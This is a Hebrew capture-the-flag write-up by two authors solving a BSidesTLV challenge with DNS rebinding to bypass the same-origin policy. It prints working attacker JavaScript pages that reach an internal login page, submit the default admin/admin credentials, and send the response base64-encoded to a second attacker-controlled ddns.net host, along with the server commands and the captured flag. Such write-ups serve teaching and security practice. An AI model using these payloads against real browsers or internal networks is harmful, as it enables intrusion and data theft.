Can you bypass the SOP?

נכתב על ידי Yaakov Cohen ו-Narcissus

Can you bypass the SOP?

האתגר לא מסובך, צריך לעקוף SOP ולהתחבר עם פרטי התחברות דיפולטיביים. חבל רק שהפתרון לא כזה ישיר.

הבוט:

site

צריך להכניס קישור שיאפשר לנו לעקוף את ה-SOP ולהשיג את הדגל.

מצאנו שיטה בשם DNS-rebinding שנראתה בול מה שאנחנו צריכים (אפשר לקרוא עליה עוד בקישור).

בעזרת השירות הזה ייצרנו שני דומיינים וכיוונו אותם לשרת שבשליטתנו.

  1. bsidestlv.ddns.net
  2. bsidestlv2.ddns.net

בשרת שמנו אתר תוקפני:

<html>
  <head><meta charset="utf-8"/></head>
  <body>
  <script src='https://cdnjs.cloudflare.com/ajax/libs/jquery/2.2.1/jquery.min.js'></script>
    <script>     
      setTimeout(function() {
        console.log('send request...');
        $.get('http://bsidestlv.ddns.net:8080/login', function(data, status, xhr) {
          console.log(data);
          var image = new Image();
          image.src='http://bsidestlv2.ddns.net:8081/index.html?login='+window.btoa(xhr.responseText);
        });
      },90000);

    </script>
  </body>
</html>

והרצנו שני שרתי http:

python -m SimpleHTTPServer 8080 &
python -m SimpleHTTPServer 8081 &

עכשיו אנחנו מוכנים למתקפה.

שלחנו לבוט את הקישור http://bsidestlv.ddns.net:8080/index.html כשקיבלנו בשרת בקשה ראשונה שינינו את האיפיי של הדומיין לאיפיי הפנימי של האפליקציה: 192.168.20.100. אחרי בערך דקה וחצי קיבלנו תשובה:

<!DOCTYPE html>
<html lang=\"en\">
<head>
    <meta charset=\"UTF-8\">
    <title>Login page</title>
</head>
<body>
    <form method=\"post\">
        <div class=\"form-group\">
            <label for=\"url\" class=\"col-sm-3 control-label\">Username</label>
            <div class=\"col-sm-9\">
                <input type=\"text\" id=\"url\" name='username' placeholder=\"Username\">
            </div>
        </div>

        <div class=\"form-group\">
            <label for=\"password\" class=\"col-sm-3 control-label\">Password</label>
            <div class=\"col-sm-9\">
                <input type=\"password\" id=\"password\" name='password' placeholder=\"Password\">
            </div>
        </div>

        <div class=\"form-group\">
            <div class=\"col-sm-9 col-sm-offset-3\">
                <!--Default credentials: admin/admin-->
                <button type=\"submit\" name='submit' class=\"btn btn-primary btn-block\">Login!</button>
            </div>
        </div>
    </center>
    <div class=\"form-group\">
                    
                      
                    
                </div>
            </form> <!-- /form -->
        </div> <!-- ./container -->
</body>
</html>"

אנחנו רואים כאן טופס התחברות ושפרטי ההתחברות הדיפולטיביים הם admin:admin.

ערכנו את האתר התוקף שלנו שישלח את הטופס:

<html>
  <head></head>
  <body>
    <script src='https://cdnjs.cloudflare.com/ajax/libs/jquery/2.2.1/jquery.min.js'></script>
    <script>      
      setTimeout(function() {
        console.log('send request...');
        
        $.post('http://bsidestlv.ddns.net:8080/login',
        {
          username: 'admin',
          password: 'admin',
          submit: ''
        },
        function(data,status){
          console.log(data);
          var image = new Image();
          image.src='http://bsidestlv2.ddns.net:8081/index.html?login='+window.btoa(data);
        });
        
      },90000);
    </script>
  </body>
</html>

החזרנו את הדומיין לשרת שלנו והתחלנו מחדש את המתקפה. שליחת הקישור לבוט, ושינוי האיפיי של הדומיין אחרי בקשה ראשונית.

הפעם קיבלנו את הדגל:

<!DOCTYPE html>
<html lang=\"en\">
<head>
    <meta charset=\"UTF-8\">
    <title>Login page</title>
</head>
<body>
    <form method=\"post\">
        <div class=\"form-group\">
            <label for=\"url\" class=\"col-sm-3 control-label\">Username</label>
            <div class=\"col-sm-9\">
                <input type=\"text\" id=\"url\" name='username' placeholder=\"Username\">
            </div>
        </div>

        <div class=\"form-group\">
            <label for=\"password\" class=\"col-sm-3 control-label\">Password</label>
            <div class=\"col-sm-9\">
                <input type=\"password\" id=\"password\" name='password' placeholder=\"Password\">
            </div>
        </div>

        <div class=\"form-group\">
            <div class=\"col-sm-9 col-sm-offset-3\">
                <!--Default credentials: admin/admin-->
                <button type=\"submit\" name='submit' class=\"btn btn-primary btn-block\">Login!</button>
            </div>
        </div>
    </center>
    <div class=\"form-group\">
                    
                      
                        
                          Your flag is: BSidesTLV{C4nY0uR3b1n3dMe?}
                        
                      
                    
                </div>
            </form> <!-- /form -->
        </div> <!-- ./container -->
</body>
</html>

Success

כאן אפשר לראות את כל מבנה ההתקפה (התמונה מהגיטהאב שקישרתי עליו בתחילת המדריך:

attack-flow